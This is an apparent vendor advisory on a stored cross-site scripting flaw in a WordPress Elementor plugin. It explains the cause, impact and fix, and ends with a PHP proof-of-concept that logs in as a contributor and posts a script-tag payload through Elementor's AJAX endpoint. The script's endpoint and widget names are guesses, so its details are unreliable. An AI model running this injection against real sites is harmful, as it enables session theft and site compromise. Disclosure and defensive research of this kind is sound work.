Atomic Edge analysis of CVE-2025-69357 (metadata-based):
The TheGem Theme Elements for Elementor WordPress plugin contains an authenticated stored cross-site scripting vulnerability in versions up to 5.11.0. This vulnerability allows contributors or higher-privileged users to inject malicious scripts into pages. The scripts execute when other users view the compromised pages.
Atomic Edge research infers the root cause is insufficient input sanitization and output escaping in one or more Elementor widget attributes. The CWE-79 classification confirms improper neutralization of user input during web page generation. Without source code, this conclusion is inferred from the vulnerability description and CWE mapping. The plugin likely fails to apply proper WordPress sanitization functions like `sanitize_text_field` or `wp_kses` on user-supplied widget parameters before storing them in the database. It also likely omits proper escaping functions like `esc_attr` or `esc_html` when outputting those parameters.
Exploitation requires an authenticated user with at least contributor-level permissions. The attacker would edit or create a page using Elementor, adding a vulnerable TheGem widget. They inject a JavaScript payload into a vulnerable widget attribute field. The payload could be a simple script tag or an event handler like `onmouseover`. The plugin stores the unsanitized payload in the post meta or options table. When any user views the page, the browser executes the malicious script in the victim’s security context.
Remediation requires implementing proper input validation and output escaping. The patched version likely adds WordPress sanitization functions like `sanitize_text_field` to all user-controlled widget parameters before database storage. It also likely adds appropriate escaping functions like `esc_attr` for HTML attributes or `esc_html` for text content during frontend rendering. The fix should follow WordPress coding standards for Elementor widget development.
Successful exploitation leads to stored XSS attacks. Attackers can steal session cookies, perform actions as the victim, redirect users to malicious sites, or deface pages. The impact is limited to the security context of the viewing user. Administrators viewing injected pages could have their sessions hijacked, potentially leading to site compromise. The CVSS score of 6.4 reflects medium severity due to the authenticated requirement and limited confidentiality impact.
// ==========================================================================
// Atomic Edge CVE Research | https://atomicedge.io
// Copyright (c) Atomic Edge. All rights reserved.
//
// LEGAL DISCLAIMER:
// This proof-of-concept is provided for authorized security testing and
// educational purposes only. Use of this code against systems without
// explicit written permission from the system owner is prohibited and may
// violate applicable laws including the Computer Fraud and Abuse Act (USA),
// Criminal Code s.342.1 (Canada), and the EU NIS2 Directive / national
// computer misuse statutes. This code is provided "AS IS" without warranty
// of any kind. Atomic Edge and its authors accept no liability for misuse,
// damages, or legal consequences arising from the use of this code. You are
// solely responsible for ensuring compliance with all applicable laws in
// your jurisdiction before use.
// ==========================================================================
// Atomic Edge CVE Research - Proof of Concept (metadata-based)
// CVE-2025-69357 - TheGem Theme Elements (for Elementor) <= 5.11.0 - Authenticated (Contributor+) Stored Cross-Site Scripting
<?php
$target_url = 'http://vulnerable-wordpress-site.com';
$username = 'contributor_user';
$password = 'contributor_password';
// Payload to inject - simple alert to demonstrate XSS
$xss_payload = '"><script>alert(document.domain)</script>';
// Initialize cURL session for WordPress login
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $target_url . '/wp-login.php');
curl_setopt($ch, CURLOPT_POST, 1);
curl_setopt($ch, CURLOPT_POSTFIELDS, http_build_query([
'log' => $username,
'pwd' => $password,
'wp-submit' => 'Log In',
'redirect_to' => $target_url . '/wp-admin/',
'testcookie' => '1'
]));
curl_setopt($ch, CURLOPT_COOKIEJAR, 'cookies.txt');
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
curl_setopt($ch, CURLOPT_FOLLOWLOCATION, 1);
$login_response = curl_exec($ch);
// Check if login succeeded by looking for dashboard elements
if (strpos($login_response, 'wp-admin-bar') === false) {
echo "Login failed. Check credentials.n";
exit;
}
echo "Logged in successfully.n";
// Create a new post/page to inject XSS via Elementor
// Note: Exact endpoint and parameters are inferred from Elementor workflow
// The plugin likely uses standard Elementor AJAX endpoints
$create_post_data = [
'action' => 'elementor_ajax',
'actions' => json_encode([
[
'action' => 'save_builder',
'data' => [
'post_id' => 'new', // Assumes creating new post
'status' => 'draft',
'elements' => [
[
'id' => 'some_element_id',
'elType' => 'widget',
'settings' => [
// Inferred: A TheGem widget with vulnerable attribute
// The exact attribute name is unknown without code
'some_attribute' => $xss_payload,
'widgetType' => 'thegem-widget-name' // Unknown exact widget
],
'widgetType' => 'thegem-widget-name'
]
]
]
]
])
];
curl_setopt($ch, CURLOPT_URL, $target_url . '/wp-admin/admin-ajax.php');
curl_setopt($ch, CURLOPT_POSTFIELDS, http_build_query($create_post_data));
$ajax_response = curl_exec($ch);
if (strpos($ajax_response, 'success') !== false) {
echo "XSS payload likely injected. Check the created page.n";
echo "Visit the page to trigger: alert(document.domain)n";
} else {
echo "Payload injection may have failed. AJAX response: " . $ajax_response . "n";
}
curl_close($ch);
unlink('cookies.txt');
?>
